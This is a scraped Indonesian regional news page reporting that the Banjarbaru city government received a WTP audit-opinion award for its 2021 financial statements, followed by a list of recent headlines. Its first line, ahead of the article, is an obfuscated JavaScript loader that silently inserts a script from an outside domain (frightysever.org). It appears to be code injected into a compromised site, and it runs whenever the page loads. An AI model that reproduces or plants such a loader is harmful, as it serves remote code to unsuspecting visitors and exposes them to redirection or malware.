(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pemko Banjarbaru Kembali Raih Penghargaan Opini WTP dari Menkeu RI!


KANALKALIMANTAN.COM, BANJARBARU – Kementrian Keuangan Republik Indonesia memberikan penghargaan Opini WTP (Wajar Tanpa Pengecualian) kepada Pemerintah Kota (Pemko) Banjarbaru atas keberhasilan menyusun dan menyajikan laporan keuangan tahun 2021.

Pemberian penghargaan itu dilakukan saat berlangsungnya penyerahan Daftar Isian Pelaksanaan Anggaran (DIPA) Buku Daftar Alokasi Transfer Ke Daerah dan Dana Desa Tahun Anggaran 2023 di Gedung Idham Chalid, Komplek Perkantoran Pemprov. Kalsel, Rabu (7/12/2022).

Penghargaan Opini WTP dari Menteri Keuangan Sri Mulyani itu diserahkan secara langsung oleh Gubernur Kalsel, Sahbirin Noor kepada Wali Kota Banjarbaru, Aditya Mufti Arifin yang diwakili Sekretaris Daerah Kota Banjarbaru H Said Abdullah.

Gubernur Kalimantan Selatan yang akrab disapa Paman Birin itu menyampaikan, penghargaan yang ini dapat dijadikan pemacu semangat dan motivasi untuk bekerja lebih baik lagi.

 

Baca juga : Wali Kota Bontang Nahkodai Komwil V APEKSI Regional Kalimantan 2022-2025

“Kita bersyukur kepada rakyat dan pemerintah semua, itu berkat gotong royong, berkat kerjasama,” ucap Paman Birin.

Disisi lain, Wali Kota Banjarbaru, Aditya Mufti Ariffin, mengungkapkan bahwa dengan diraihnya pengargaan ini diharapkan memberikan dampak besar terhadap pembangunan daerah khususnya untuk Kota Banjarbaru.

“Semoga hal ini mampu menjadi semangat dan motivasi untuk semakin lebih baik dalam pengelolaan anggaran atau laporan keuangan ke depannya,” tuturnya.

Sekadar diketahui, penghargaan Opini WTP dari Kemenkeu RI ini menjadi ke 7 kalinya yang diraih Pemko Banjarbaru secara berturut-turut dari tahun ke tahun. Opini WTP merupakan hasil laporan keuangan entitas yang diperiksa, menyajikan secara wajar dalam semua hal yang material, posisi keuangan, hasil usaha, dan arus kas entitas tertentu telah sesuai dengan prinsip akuntansi yang berlaku umum di Indonesia. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

1 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

2 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

5 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

8 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

11 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

12 jam ago

This website uses cookies.